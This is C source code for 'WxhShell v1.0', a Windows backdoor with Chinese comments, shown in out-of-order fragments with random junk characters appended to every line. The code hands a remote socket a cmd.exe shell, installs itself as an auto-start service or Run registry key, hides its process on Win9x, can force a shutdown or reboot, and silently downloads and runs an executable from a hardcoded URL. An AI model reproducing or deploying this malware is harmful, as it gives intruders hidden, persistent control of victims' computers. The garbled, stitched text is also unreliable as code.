  case 'd': { L~FTr  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ACBQ3   
    if(Boot(SHUTDOWN)) 1"K*._K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lUh*?l  
    else { ]T{E (9  
    closesocket(wsh); ]"x\=A  
    ExitThread(0); 9]_GNk-D  
    } |#5 e|z5(  
    break; ;MTz]c  
    } |9NIGg'n  
  // 获取shell &+nRIv S_`  
  case 's': { J l7z|QS  
    CmdShell(wsh); H)JS0 G0  
    closesocket(wsh); {sS_|sX  
    ExitThread(0); K^i"9D)A  
    break; -a) T6:e  
  } hH+bt!aH  
  // 退出 _GbE ^  
  case 'x': { ^GXEJU 7U  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); J^H =i)A  
    CloseIt(wsh); IKf`[_,t]  
    break; )bWrd $X  
    } RLKj u;u  
  // 离开 ~oi_r8 K  
  case 'q': { C*wdtEGq  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); kN'Thq/ZE  
    closesocket(wsh); Mz|L-62  
    WSACleanup(); 6 nGY^  
    exit(1); NoW!xLI  
    break; B/YcSEY;  
        } A_r<QYq0|  
  } StM/  
  } {Jx7_T&  
_Dq Qfc%  
  // 提示信息 !7` [i  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _p4}<pG  
} 8j\d~Lw=  
  } g{DFS[h  
0o68rF5^s  
  return; cgNt_8qC  
} ~ v1W  
`Wf5  
// shell模块句柄 rye)qp|  
int CmdShell(SOCKET sock) 29O]S8  
{ 41;)-(1  
STARTUPINFO si; ic~Z_?p  
ZeroMemory(&si,sizeof(si)); k46gY7y,9  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; u:4["ViC  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; tyXl}$)y  
PROCESS_INFORMATION ProcessInfo; dF2@q@\.+  
char cmdline[]="cmd"; t.z$j  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); T7GQ^WnA  
  return 0; G\mKCaI8  
}  <qn,  
H'Iq~Ft1  
// 自身启动模式 HU[oR4E  
int StartFromService(void) i=da,W=0  
{ 5^|"_Q#:  
typedef struct LkaG[^tfN  
{ rUFFF'm\*a  
  DWORD ExitStatus; U(3(ZqP  
  DWORD PebBaseAddress; 9A*rE.B+W  
  DWORD AffinityMask; DNho%Xk  
  DWORD BasePriority; 9}n,@@  
  ULONG UniqueProcessId; W8.j /K:  
  ULONG InheritedFromUniqueProcessId; /W9 &Ke  
}   PROCESS_BASIC_INFORMATION; 4I.1D2 1jA  
-h9#G{2W[  
PROCNTQSIP NtQueryInformationProcess; t,?,F4 j  
z_)`g`($  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; z+6QZQk  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; BQU/QoDY  
NTVHnSoHh  
  HANDLE             hProcess; ,Qo}J@e(  
  PROCESS_BASIC_INFORMATION pbi; nhT;b,G.Z  
z.59]\;U>  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _@|fva&s,;  
  if(NULL == hInst ) return 0; AgI>  
HwW6tQ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); U 1F-~ {r  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `G0*l|m>  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); n'3u] ~7^  
}MjQP R  
  if (!NtQueryInformationProcess) return 0; O"QHb|j  
SauHFl8?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); zkG>u,B}  
  if(!hProcess) return 0; 3*2I$e!Jt  
^cb)f_90  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,7I},sZj   
/b+;: z  
  CloseHandle(hProcess); 2|s<[V3rP-  
e7's)C>/'  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); eRVY.E<  
if(hProcess==NULL) return 0; |=,83,a  
#jgqkMOd,j  
HMODULE hMod; 4[(? L{  
char procName[255]; rV U:VL`2  
unsigned long cbNeeded; 9C?cm:  
FRS28D  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); DOT=U _  
59K}  
  CloseHandle(hProcess); CnQg*+  
xi.IRAZX  
if(strstr(procName,"services")) return 1; // 以服务启动 -+ko}He  
}Qb';-+;d  
  return 0; // 注册表启动 ;fkSrdj  
} 9IOGc}  
5Fr;  
// 主模块 Y@ObwKcG  
int StartWxhshell(LPSTR lpCmdLine) Kc-4W6?$  
{ v#Sj|47  
  SOCKET wsl; 'Y ,1OK  
BOOL val=TRUE; OuNj:  
  int port=0; k~R{Y~W!!  
  struct sockaddr_in door; 'hy?jQ'|e  
$59nu7yr  
  if(wscfg.ws_autoins) Install(); a0{[P$$  
v*vn<nPAQ>  
port=atoi(lpCmdLine); p}&Md-$1  
y]<#%Fh  
if(port<=0) port=wscfg.ws_port; Wge ho  
hRRkFz/0&  
  WSADATA data; O%prD}x  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; NA=#> f+U%  
x!`b'U\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   A1=_nt)5  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =hPG_4#  
  door.sin_family = AF_INET; ]79~:m[C  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); P6:;Y5e0  
  door.sin_port = htons(port); :b <KX%g  
% mJ~F*Dy  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -E}>h[;qZ  
closesocket(wsl); au,jAk  
return 1; 8H7O/n  
} k)|'JDm  
ZWFG?8lJ  
  if(listen(wsl,2) == INVALID_SOCKET) { #n=A)#'my  
closesocket(wsl); [f=.!\0\  
return 1; MSK'2+1T@g  
} yAAG2c4(  
  Wxhshell(wsl); kq>GMUl~@  
  WSACleanup(); ](_{,P  
Ny.*G@&  
return 0; _yNT=#/  
LSSW.Oz2L  
} %V31B\]Nz7  
r?>Vx -  
// 以NT服务方式启动  gm(De9u  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 'YBi5_  
{ 6$;L]<$W>  
DWORD   status = 0; (*MNox?w  
  DWORD   specificError = 0xfffffff; B>sCP"/uV  
8W;xi:CC  
  serviceStatus.dwServiceType     = SERVICE_WIN32; c%ZeX%p  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; E(% XVr0W  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; AfUZO^<  
  serviceStatus.dwWin32ExitCode     = 0; H_Iim[v#  
  serviceStatus.dwServiceSpecificExitCode = 0; Jc`Rs"2  
  serviceStatus.dwCheckPoint       = 0; \Bt =bu>Z  
  serviceStatus.dwWaitHint       = 0; gxI&f  
~:T3|  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); r}ZLf  
  if (hServiceStatusHandle==0) return; c6t2Q6zV  
>6OCKl  
status = GetLastError(); sTt9'P`  
  if (status!=NO_ERROR) Ze#Jhn@  
{ Ir!2^:]!  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; \{[D|_   
    serviceStatus.dwCheckPoint       = 0; bo&\3  
    serviceStatus.dwWaitHint       = 0; {,i=>%X*  
    serviceStatus.dwWin32ExitCode     = status; G4O,^ v;Q  
    serviceStatus.dwServiceSpecificExitCode = specificError; C/CN '  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); kxygf9I!;  
    return; qx Wgt(Os  
  } IY V-*/ |  
3\7'm]  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; >vHH  
  serviceStatus.dwCheckPoint       = 0;  qe[  
  serviceStatus.dwWaitHint       = 0; VPWxHVf  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {cmo^~[L$  
} jo<>Hc{g>  
$[j-C9W  
// 处理NT服务事件,比如:启动、停止 (~=Qufy  
VOID WINAPI NTServiceHandler(DWORD fdwControl) |^Y*~d<H  
{ 3aEt>x  
switch(fdwControl) sk~za  
{ ?hxK/%)  
case SERVICE_CONTROL_STOP: TG4\%S$w  
  serviceStatus.dwWin32ExitCode = 0;   YfTd  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~^^!"-  
  serviceStatus.dwCheckPoint   = 0; Rl y jOf{0  
  serviceStatus.dwWaitHint     = 0; l?})_1v,R  
  { |.y>[+Qb*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [&1iF1)4  
  } N =x]A C,  
  return; BHF{-z  
case SERVICE_CONTROL_PAUSE: 2^cAK t6bC  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; W8Ke1( ws&  
  break; ^?E^']H)5u  
case SERVICE_CONTROL_CONTINUE: '&RZ3@}+  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; B1x'5S;Bq  
  break; {'h)  
case SERVICE_CONTROL_INTERROGATE: tU9rCL:P  
  break; #x, ]D  
}; 2ZU@>W  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ''$`;?t>  
} NnJ>0|74g  
G A'*58  
// 标准应用程序主函数 +F1]M2p]  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) X=fPGyhZ  
{ bs:C1j\&  
)EhTM-1  
// 获取操作系统版本 "g x5XW&  
OsIsNt=GetOsVer(); JOA%Y;`<#  
GetModuleFileName(NULL,ExeFile,MAX_PATH); :X3rd|;kc  
\%w7D6dEZ  
  // 从命令行安装 \B*k_W/r@  
  if(strpbrk(lpCmdLine,"iI")) Install(); # rh0r`  
'}wG"0  
  // 下载执行文件 vs5 D:cZ}  
if(wscfg.ws_downexe) { {KW&wsI  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6$W-?  
  WinExec(wscfg.ws_filenam,SW_HIDE); &Tf=~6  
} tfi2y]{A  
B(S5+Y  
if(!OsIsNt) { mJwv&E  
// 如果时win9x,隐藏进程并且设置为注册表启动 #B}BI8o (  
HideProc(); e 7Yb=/F  
StartWxhshell(lpCmdLine); M \ :"~XW  
} ?whRlh  
else 3c1o,2  
  if(StartFromService()) 2z.k)Qx!Z  
  // 以服务方式启动 ^AovkK(p  
  StartServiceCtrlDispatcher(DispatchTable); 0lLr[  
else N%|^;4}k  
  // 普通方式启动 P Xyyyir{  
  StartWxhshell(lpCmdLine); B ]|5?QP-  
$k a1X&f  
return 0; ]3gYuz|  
} C!aX45eg  
"U/NMGMj  
F!z! :yp  
rnzsfr-|(2  
=========================================== E'S<L|A/  
Ktg&G<%J0  
}0k"Sw X  
9Q SUCN_  
:vn0|7W4  
UQC'(>.}  
" dg!1wD   
')C _An>X6  
#include <stdio.h> K1m!S9d`x  
#include <string.h> ]pM5?^<~  
#include <windows.h> kw*Cr/'*  
#include <winsock2.h> a}^!TC>%1i  
#include <winsvc.h> zJB+C=]D7H  
#include <urlmon.h> lB5[#z  
 3L 1lq .  
#pragma comment (lib, "Ws2_32.lib") 73! x@Duh  
#pragma comment (lib, "urlmon.lib") GI'&g@?u  
A-AN6.  
#define MAX_USER   100 // 最大客户端连接数 [T$$od[.  
#define BUF_SOCK   200 // sock buffer oHP >v_ X  
#define KEY_BUFF   255 // 输入 buffer F M@W>+  
Ep v3/ `I  
#define REBOOT     0   // 重启 e!:?_z."  
#define SHUTDOWN   1   // 关机 yK @X^jf  
EmBfiuX  
#define DEF_PORT   5000 // 监听端口 e>)}_b  
~' PS|  
#define REG_LEN     16   // 注册表键长度 2Wc;hJ.1  
#define SVC_LEN     80   // NT服务名长度 gZ79u  
Eo25ir%  
// 从dll定义API H)?" 8 s  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); o/i5e=9[y  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); f|[5&,2<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &H p\("  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); duiKFNYN  
|)>GeE  
// wxhshell配置信息 a#^4xy:  
struct WSCFG { <R]Wy}2-  
  int ws_port;         // 监听端口 #L+s%OJ`  
  char ws_passstr[REG_LEN]; // 口令 ^*owD;]4_  
  int ws_autoins;       // 安装标记, 1=yes 0=no FdK R{dX}  
  char ws_regname[REG_LEN]; // 注册表键名 &caO*R<#J}  
  char ws_svcname[REG_LEN]; // 服务名 {F{[!.  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ,2:L{8_L  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 TTw~.x,  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !gA^$(=:"  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ~9{-I{=  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" []]LyWk  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {(zL"g46  
0UAr}H.:  
}; 0ju wDd  
?eg@ 7n  
// default Wxhshell configuration _o=`-iy9  
struct WSCFG wscfg={DEF_PORT, G%x,t -  
    "xuhuanlingzhe", y^Xxa'y  
    1, B'#gs'fl  
    "Wxhshell", bKTwG@{/k  
    "Wxhshell", ,r)d#8  
            "WxhShell Service", !C)>  
    "Wrsky Windows CmdShell Service", oY#XWe8Om  
    "Please Input Your Password: ", mm9S#Ya  
  1, #$ raUNr  
  "http://www.wrsky.com/wxhshell.exe", MrygEC 5  
  "Wxhshell.exe" P)o[p(  
    }; I]S(tx!  
!*QA;*e  
// 消息定义模块 qm&53  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; M`g Kt (3  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,;- cz-,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Z~R/ p;@  
char *msg_ws_ext="\n\rExit."; 0i1?S6]d-  
char *msg_ws_end="\n\rQuit."; XzRWY\x  
char *msg_ws_boot="\n\rReboot..."; ovRCF(Og,  
char *msg_ws_poff="\n\rShutdown..."; <k8rSx n{  
char *msg_ws_down="\n\rSave to "; ]KII?{ <k  
xVmUmftD  
char *msg_ws_err="\n\rErr!"; u*YuU%H=  
char *msg_ws_ok="\n\rOK!"; uX 5B>32  
 x+j/v5  
char ExeFile[MAX_PATH]; 5D@Q1   
int nUser = 0; Q?'W >^*J  
HANDLE handles[MAX_USER]; &I">{J<  
int OsIsNt; oGjYCVc  
Y&Nv>o_}5  
SERVICE_STATUS       serviceStatus; Z-r0 D  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ~d1RD  
BqJrL/(  
// 函数声明 zqEZ+|c=  
int Install(void); jI pcMN<  
int Uninstall(void); O9 r44ww  
int DownloadFile(char *sURL, SOCKET wsh); ?Pf ,5=*B  
int Boot(int flag); |H I A[.q  
void HideProc(void); kys-~&@+  
int GetOsVer(void); 53#5p;k  
int Wxhshell(SOCKET wsl); L?5t <`#lw  
void TalkWithClient(void *cs); rEyMSLN  
int CmdShell(SOCKET sock); W2V@\  
int StartFromService(void); ,DsT:8  
int StartWxhshell(LPSTR lpCmdLine); y"n~ET}e7  
$7ME a"a  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %-zH]"Q$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); M)It(K8R  
S%%qn  
// 数据结构和表定义 Vf2! 0  
SERVICE_TABLE_ENTRY DispatchTable[] = :=KGQ3V~eK  
{ ry=[:\Z~  
{wscfg.ws_svcname, NTServiceMain}, }T(q"Vf~  
{NULL, NULL} T%b^|="@  
}; ]7ZC>.t  
6 v#sq  
// 自我安装 s`#j8>`M  
int Install(void) uX!y,a/"  
{ HAOrwJFqU  
  char svExeFile[MAX_PATH]; 0R{R=r]  
  HKEY key; Z\yLzy#8  
  strcpy(svExeFile,ExeFile); D.JVEKLkU  
Jrrk$0H^~  
// 如果是win9x系统,修改注册表设为自启动 JC-yiORVr  
if(!OsIsNt) { NQ{Z   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { YmF(o  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2QD B'xs3  
  RegCloseKey(key); T</gWW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cnO4N UDv  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); HCZ%DBU96  
  RegCloseKey(key); iONql7S @  
  return 0;  y3$\ m  
    } ZI*A0_;L  
  } `9)2nkJk'z  
} Rf$6}F  
else { eHZl-|-  
;( Va_   
// 如果是NT以上系统,安装为系统服务 w9}IM149  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); W..>Ny;'3  
if (schSCManager!=0) Ji:@z%osr  
{ 2{qG  
  SC_HANDLE schService = CreateService k0=y_7 =(5  
  ( PhL5EYn  
  schSCManager, 2]KPW*V  
  wscfg.ws_svcname, {:+^[rer j  
  wscfg.ws_svcdisp, U/l ra&P  
  SERVICE_ALL_ACCESS, Y'":OW#oN  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , DdW8~yI&  
  SERVICE_AUTO_START, 745PCC'FK  
  SERVICE_ERROR_NORMAL, lY,1 w  
  svExeFile, ~DS9{Y  
  NULL, P?-44m#  
  NULL, e=$xn3)McY  
  NULL, *)sz]g|d  
  NULL, eesLTy D2_  
  NULL yr DYw T  
  ); 6 6;O3g'  
  if (schService!=0) R9HS%O6b6  
  { e/%Y ruzS  
  CloseServiceHandle(schService); rx) Q]  
  CloseServiceHandle(schSCManager); -B! TA0=oJ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); k18V4ATE]  
  strcat(svExeFile,wscfg.ws_svcname); 4IpFT;`q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,)m-nZ5  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); vUExS Z^  
  RegCloseKey(key); O\{_)L  
  return 0; zL}DLfy>R  
    } uU"s50m  
  } 6!m#_z8qG3  
  CloseServiceHandle(schSCManager); f2XD^:Gc  
} 8z v6Mx  
} a_j#l(] 9  
p =O1aM  
return 1; NX/)Z&Fx:  
} }e|]G,NZO  
` &DiM@Sm  
// 自我卸载 ;f*xOdi*k  
int Uninstall(void) ~|]\. ^B  
{ w N.Jyb  
  HKEY key; Ee| y[y,  
8`<GplO  
if(!OsIsNt) { <FLc0s  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D]y.!D{l2  
  RegDeleteValue(key,wscfg.ws_regname); q|\Cp  
  RegCloseKey(key); [X\2U4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2sq<"TlQXI  
  RegDeleteValue(key,wscfg.ws_regname); C*zdHzMj  
  RegCloseKey(key); s_Gp +-  
  return 0; 6YbSzx` ?k  
  } I>|?B( F  
} j(N9%/4u  
} 81 C?U5  
else { ]C^*C|  
yIP IA%dJ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 6FAP *V;  
if (schSCManager!=0) /zAx`H  
{ ;bmd<1  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Ml ^Tb#  
  if (schService!=0) w Nnb@  
  { s)=7tHoqB)  
  if(DeleteService(schService)!=0) { ^4i3#}  
  CloseServiceHandle(schService); WR%iUO40  
  CloseServiceHandle(schSCManager); |'#NDFI>}  
  return 0; -JkO[ IF  
  } 0}!lN{m?  
  CloseServiceHandle(schService); *?\Nioii  
  } efm<bJB2  
  CloseServiceHandle(schSCManager); 0cVXUTJ|W  
} K>~l6  
} S6I8zk)Z4  
>^}z  
return 1; ~{{:-XkVB  
} qlP=Y .H  
s:{%1/  
// 从指定url下载文件 *a4eL [  
int DownloadFile(char *sURL, SOCKET wsh) U^I'X7`r  
{ fx5vaM!  
  HRESULT hr; pj`-T"Q  
char seps[]= "/"; pDT6>2t  
char *token; |\ L2q/u  
char *file; j=LF1dG"  
char myURL[MAX_PATH]; R8)"M(u=l  
char myFILE[MAX_PATH]; ,\IZ/1  
(Nf.a4O  
strcpy(myURL,sURL); it@s(1EO#  
  token=strtok(myURL,seps); c{q`uI;O  
  while(token!=NULL) W1z5|-T  
  { =nl,5^  
    file=token; fq'Of wT  
  token=strtok(NULL,seps); ~1oD7=WN  
  } C_/oORvK  
a6OT2B  
GetCurrentDirectory(MAX_PATH,myFILE); A |B](MW%O  
strcat(myFILE, "\\"); u""= 9>0  
strcat(myFILE, file); 9#7z jrB  
  send(wsh,myFILE,strlen(myFILE),0); ~gD'up@$/  
send(wsh,"...",3,0); V8/o@I{U[  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7+bzCDKU  
  if(hr==S_OK) bC|~N0b  
return 0; ?CC6/bE-{  
else TMrmyvv  
return 1;  '}=M~  
5s9~rm  
} qZ.\GHS  
{lA@I*_lj  
// 系统电源模块 mdd~B2"el  
int Boot(int flag) JB7]51WH@  
{ DDEn63{  
  HANDLE hToken; uQlVzN.?  
  TOKEN_PRIVILEGES tkp; Fk\xq`3'c  
<|@9]>z  
  if(OsIsNt) { _rv_-n]"o  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,&$Y2+  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /(w5S',EL  
    tkp.PrivilegeCount = 1; p#w,+)1!d  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "x)W3C%*S  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 5sH ee,  
if(flag==REBOOT) { %9K@`v-  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $ uqlJG#`  
  return 0; 7gkHKdJoMA  
} TBzM~y  
else { ^AN9m]P  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _\6-]  
  return 0; R;%iu0  
} 9/Ls3U?  
  } P-C_sj A7  
  else { F&Gb[Q&a8  
if(flag==REBOOT) { sYL+;(#t  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) QB7<$Bp  
  return 0; { !w]t?h  
} l6~eb=u;9g  
else { p5*Y&aKj  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $FoNEr&q  
  return 0; 9"rATgN1  
} px*MOHq K  
} l[x wH 9'  
-;v:. [o.  
return 1; Ez )Go6Q  
} vc<8ApK3V  
t9kgACo/M  
// win9x进程隐藏模块 L\UYt\ks  
void HideProc(void) $I'ES#8P6  
{ u=4Rn  
PrCq JY  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); pd|s7  
  if ( hKernel != NULL ) 9Ah4N2nL-b  
  { q#Bdq8  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); W<2-Q,>Y  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); fu`oDi  
    FreeLibrary(hKernel); QxK%ZaFZA  
  } ReY K5J=O  
+$%o#~  
return; 8ViDh  
} "}n]0 >J  
]k hY8it  
// 获取操作系统版本 }*%%GPJ  
int GetOsVer(void) <rU(zm  
{ cj[y]2{1h  
  OSVERSIONINFO winfo; #q\C"N5ip  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *+ 7#z;  
  GetVersionEx(&winfo); <X: 9y  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7L!k9"X`0F  
  return 1; h:|aQJG5  
  else nPKj%g3h  
  return 0; A 9u9d\  
} #pIb:/2a_  
[mm5?23g  
// 客户端句柄模块 P6MT[  
int Wxhshell(SOCKET wsl) *+ b[v7  
{ Zffzyh  
  SOCKET wsh; Z'\_YbB  
  struct sockaddr_in client; de"*<+  
  DWORD myID; d+_qBp  
yJ^}uw  
  while(nUser<MAX_USER) Q$3%aR-2  
{  8NLk`/  
  int nSize=sizeof(client); Eq|_> f@@8  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);  :S.0e  
  if(wsh==INVALID_SOCKET) return 1; L"IdD5`7T  
rn(T Z}  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [u<1DR  
if(handles[nUser]==0) ? xy~N?N  
  closesocket(wsh); Q@2Smtu~c  
else x{=ty*E  
  nUser++; +;vfn>^!b  
  } /V,:gLpQ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8 }-"&-X  
WKN\* N<  
  return 0; hp)3@&T  
} #q%&,;4  
c(o8uWn  
// 关闭 socket oM< 9]jK}  
void CloseIt(SOCKET wsh) IkD\YPL;  
{ .7oz  
closesocket(wsh); [ z?<'Tj  
nUser--; o0AREZ+I  
ExitThread(0); *r%=p/oQ}B  
} s{gdTG6v`  
g4Tc (k#  
// 客户端请求句柄 !bQ5CB  
void TalkWithClient(void *cs) [~x Q l  
{ n]|[|Rf1  
q K]Wk+  
  SOCKET wsh=(SOCKET)cs; =E{1QA0  
  char pwd[SVC_LEN]; QH+Oi&xH  
  char cmd[KEY_BUFF]; Pj^6.f+  
char chr[1]; a 6[bF  
int i,j; 'y@0P5[se  
6%:N^B=%}  
  while (nUser < MAX_USER) { =YI<L8@g~  
x6m21DWw  
if(wscfg.ws_passstr) { kYx|`-PA<r  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0nBAO  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zg[ksny  
  //ZeroMemory(pwd,KEY_BUFF); d]CRvzW  
      i=0; )wmXicURC  
  while(i<SVC_LEN) { z[l17+v  
;+cZS=  
  // 设置超时 w J; y4  
  fd_set FdRead; kZfO`BVL  
  struct timeval TimeOut; _Nlx)YR  
  FD_ZERO(&FdRead); gzxLHPiw  
  FD_SET(wsh,&FdRead); LvB-%@n  
  TimeOut.tv_sec=8; /,wG$b+  
  TimeOut.tv_usec=0; DT;Hr4Z8^"  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^IY1^x  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ._#|h5  
p^NYJV  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); UDhW Y.`'~  
  pwd=chr[0]; 5X'[{'i,  
  if(chr[0]==0xd || chr[0]==0xa) { ?NJ\l5'  
  pwd=0; &vo]l~.  
  break; ;4%^4<+3  
  } Sa6}xe."M,  
  i++; jrG@ +" }  
    } 2UA h^i-^  
flnoK%wi  
  // 如果是非法用户,关闭 socket V 9][a  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |K7JU^"OQ  
} <Xv]Ih?@f`  
1jO/"d.8n  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); v:eVK!O  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c1Xt$[_  
T-uI CMEf  
while(1) { QXniWJJ  
% ?@PlQ  
  ZeroMemory(cmd,KEY_BUFF); M{Wla 7  
kF`2%g+  
      // 自动支持客户端 telnet标准   yS %J$o&  
  j=0; :voQ#f=  
  while(j<KEY_BUFF) { ZF>zzi+@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bR(rZu5  
  cmd[j]=chr[0]; RKx" }<#+  
  if(chr[0]==0xa || chr[0]==0xd) { ,_D`0B6o  
  cmd[j]=0; >XM-xK-=  
  break; 0PjWfM8%  
  } \IQf|  
  j++; 9m/v^  
    } q]DV49UK  
n>" 0y^v  
  // 下载文件 <}&n}|!  
  if(strstr(cmd,"http://")) { [2"a~o\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %A|9=x*  
  if(DownloadFile(cmd,wsh)) @2nar<  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZBUEg7c  
  else ;`p+Vs8C  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .y\j .p  
  } qcSlqWDk  
